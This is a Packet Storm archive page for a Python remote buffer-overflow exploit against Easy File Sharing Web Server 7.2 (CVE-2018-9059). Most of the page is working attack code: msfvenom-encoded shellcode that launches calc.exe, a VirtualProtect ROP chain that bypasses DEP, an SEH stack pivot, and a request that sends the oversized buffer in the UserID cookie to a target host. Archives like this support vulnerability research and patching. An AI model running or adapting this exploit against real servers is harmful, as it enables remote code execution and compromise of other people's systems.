what you don't know can hurt you

Easy File Sharing Web Server 7.2 UserID Buffer Overflow

Easy File Sharing Web Server 7.2 UserID Buffer Overflow
Posted Apr 24, 2018
Authored by Hashim Jawad

Easy File Sharing Web Server version 7.2 UserID remote buffer overflow exploit with DEP bypass.

tags | exploit, remote, web, overflow
advisories | CVE-2018-9059
MD5 | e650294e754a40ce8cacde9c9332bdb0

Easy File Sharing Web Server 7.2 UserID Buffer Overflow

Change Mirror Download
#!/usr/bin/env python
#---------------------------------------------------------------------------------------------------#
# Exploit Title : Easy File Sharing Web Server 7.2 - 'UserID' Remote Buffer Overflow (DEP Bypass) #
# Date : 04/24/2018 #
# Exploit Author : Hashim Jawad #
# Twitter : @ihack4falafel #
# Author Website : ihack4falafel[.]com #
# Vendor Homepage : http://www.sharing-file.com/ #
# Software Link : http://www.sharing-file.com/efssetup.exe #
# Original Exploit: https://www.exploit-db.com/exploits/44485/ #
# Tested on : Windows 7 Enterprise (x86) - Service Pack 1 #
#---------------------------------------------------------------------------------------------------#

import requests
import struct
import time

host='192.168.80.148'
port='80'

# badchars = "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e"
# root@kali:~# msfvenom -p windows/exec cmd=calc.exe -e x86/alpha_mixed -v shellcode -f python
# Payload size: 447 bytes

shellcode = ""
shellcode += "\x89\xe3\xd9\xe5\xd9\x73\xf4\x5a\x4a\x4a\x4a\x4a"
shellcode += "\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43"
shellcode += "\x43\x37\x52\x59\x6a\x41\x58\x50\x30\x41\x30\x41"
shellcode += "\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42"
shellcode += "\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x49"
shellcode += "\x6c\x6b\x58\x4e\x62\x63\x30\x57\x70\x77\x70\x53"
shellcode += "\x50\x6e\x69\x6b\x55\x64\x71\x39\x50\x50\x64\x6e"
shellcode += "\x6b\x42\x70\x64\x70\x6c\x4b\x43\x62\x36\x6c\x6e"
shellcode += "\x6b\x43\x62\x75\x44\x6e\x6b\x52\x52\x64\x68\x46"
shellcode += "\x6f\x38\x37\x50\x4a\x76\x46\x64\x71\x4b\x4f\x4e"
shellcode += "\x4c\x77\x4c\x35\x31\x61\x6c\x77\x72\x76\x4c\x37"
shellcode += "\x50\x4a\x61\x5a\x6f\x74\x4d\x37\x71\x39\x57\x38"
shellcode += "\x62\x5a\x52\x30\x52\x66\x37\x6e\x6b\x50\x52\x62"
shellcode += "\x30\x6c\x4b\x62\x6a\x57\x4c\x6c\x4b\x52\x6c\x47"
shellcode += "\x61\x74\x38\x6d\x33\x71\x58\x43\x31\x38\x51\x50"
shellcode += "\x51\x6c\x4b\x33\x69\x67\x50\x35\x51\x48\x53\x6e"
shellcode += "\x6b\x57\x39\x75\x48\x69\x73\x54\x7a\x63\x79\x4e"
shellcode += "\x6b\x35\x64\x6c\x4b\x35\x51\x6a\x76\x46\x51\x39"
shellcode += "\x6f\x6e\x4c\x6f\x31\x48\x4f\x44\x4d\x36\x61\x48"
shellcode += "\x47\x34\x78\x6b\x50\x74\x35\x69\x66\x73\x33\x73"
shellcode += "\x4d\x49\x68\x55\x6b\x43\x4d\x47\x54\x74\x35\x68"
shellcode += "\x64\x63\x68\x4e\x6b\x46\x38\x66\x44\x33\x31\x59"
shellcode += "\x43\x61\x76\x6c\x4b\x66\x6c\x50\x4b\x4c\x4b\x50"
shellcode += "\x58\x47\x6c\x65\x51\x69\x43\x6c\x4b\x63\x34\x6e"
shellcode += "\x6b\x43\x31\x68\x50\x4e\x69\x61\x54\x65\x74\x65"
shellcode += "\x74\x51\x4b\x51\x4b\x73\x51\x73\x69\x62\x7a\x42"
shellcode += "\x71\x69\x6f\x39\x70\x51\x4f\x73\x6f\x43\x6a\x4e"
shellcode += "\x6b\x52\x32\x78\x6b\x4e\x6d\x31\x4d\x53\x5a\x67"
shellcode += "\x71\x6c\x4d\x4f\x75\x48\x32\x57\x70\x77\x70\x43"
shellcode += "\x30\x66\x30\x61\x78\x46\x51\x6e\x6b\x70\x6f\x6e"
shellcode += "\x67\x59\x6f\x6b\x65\x4f\x4b\x78\x70\x6d\x65\x39"
shellcode += "\x32\x50\x56\x73\x58\x6c\x66\x6c\x55\x4d\x6d\x6d"
shellcode += "\x4d\x49\x6f\x49\x45\x65\x6c\x45\x56\x73\x4c\x45"
shellcode += "\x5a\x6b\x30\x6b\x4b\x39\x70\x53\x45\x34\x45\x4d"
shellcode += "\x6b\x42\x67\x65\x43\x63\x42\x70\x6f\x50\x6a\x37"
shellcode += "\x70\x66\x33\x6b\x4f\x69\x45\x30\x63\x35\x31\x72"
shellcode += "\x4c\x65\x33\x76\x4e\x75\x35\x42\x58\x45\x35\x67"
shellcode += "\x70\x41\x41"

# 4059 bytes to nSEH offset [filler + ROP + shellcode + filler]
buffer = '\x41' * (2647-128) # filler to where ESP will point after stack pivot (see SEH gadget)

# mona.py VirtualProtect() ROP template with few modifications

# ESI = ptr to VirtualProtect()
buffer += struct.pack('<L', 0x10015442) # POP EAX # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x61c832d0) # ptr to &VirtualProtect() [IAT sqlite3.dll]
buffer += struct.pack('<L', 0x1002248c) # MOV EAX,DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x61c18d81) # XCHG EAX,EDI # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x1001d626) # XOR ESI,ESI # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x10021a3e) # ADD ESI,EDI # RETN 0x00 [ImageLoad.dll]

# EBP = ReturnTo (ptr to jmp esp)
buffer += struct.pack('<L', 0x1001add7) # POP EBP # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x61c24169) # & push esp # ret [sqlite3.dll]

# EDX = NewProtect (0x40)
buffer += struct.pack('<L', 0x10022c4c) # XOR EDX,EDX # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]

# ECX = lpOldProtect (ptr to W address)
buffer += struct.pack('<L', 0x1001b377) # POP ECX # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x61c730ad) # &Writable location [sqlite3.dll]

# EBX = dwSize (0x00000501)
buffer += struct.pack('<L', 0x10015442) # POP EAX # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0xfffffaff) # will become 0x00000501 after negate
buffer += struct.pack('<L', 0x100231d1) # NEG EAX # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x1001da09) # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+C] # INC DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x1001a858) # RETN (ROP NOP) [ImageLoad.dll]
buffer += struct.pack('<L', 0x1001a858) # RETN (ROP NOP) [ImageLoad.dll]
buffer += struct.pack('<L', 0x10015442) # POP EAX # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x61c730ad) # &Writable location [sqlite3.dll]

# EDI = ROP NOP (RETN)
buffer += struct.pack('<L', 0x10019f47) # POP EDI # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x1001a858) # RETN (ROP NOP) [ImageLoad.dll]

# EAX = NOP (0x90909090)
buffer += struct.pack('<L', 0x10015442) # POP EAX # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x90909090) # nop
buffer += struct.pack('<L', 0x100240c2) # PUSHAD # RETN [ImageLoad.dll]

buffer += "\x90" * 50 # nop
buffer += shellcode # calc.exe
buffer += "\x90" * 50 # nop

buffer += '\x45' * (1412-(4*88)+128-len(shellcode)-100)
buffer += '\x42' * 4 # nSEH filler

# stack pivot that will land somewhere in buffer of As
buffer += struct.pack('<L', 0x10022869) # SEH ADD ESP,1004 # RETN [ImageLoad.dll]

buffer += '\x44' * (5000-4059-4-4)

print "[+] Sending %s bytes of evil payload.." %len(buffer)
time.sleep(1)

try:
cookies = dict(SESSIONID='6771', UserID=buffer,PassWD='')
data=dict(frmLogin='',frmUserName='',frmUserPass='',login='')
requests.post('http://'+host+':'+port+'/forum.ghp',cookies=cookies,data=data)
except:
print "The server stopped responding. You should see calc.exe by now ;D"

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    1 Files
  • 2
    Feb 2nd
    2 Files
  • 3
    Feb 3rd
    17 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    16 Files
  • 7
    Feb 7th
    19 Files
  • 8
    Feb 8th
    1 Files
  • 9
    Feb 9th
    2 Files
  • 10
    Feb 10th
    15 Files
  • 11
    Feb 11th
    20 Files
  • 12
    Feb 12th
    12 Files
  • 13
    Feb 13th
    18 Files
  • 14
    Feb 14th
    17 Files
  • 15
    Feb 15th
    4 Files
  • 16
    Feb 16th
    4 Files
  • 17
    Feb 17th
    34 Files
  • 18
    Feb 18th
    15 Files
  • 19
    Feb 19th
    19 Files
  • 20
    Feb 20th
    20 Files
  • 21
    Feb 21st
    11 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close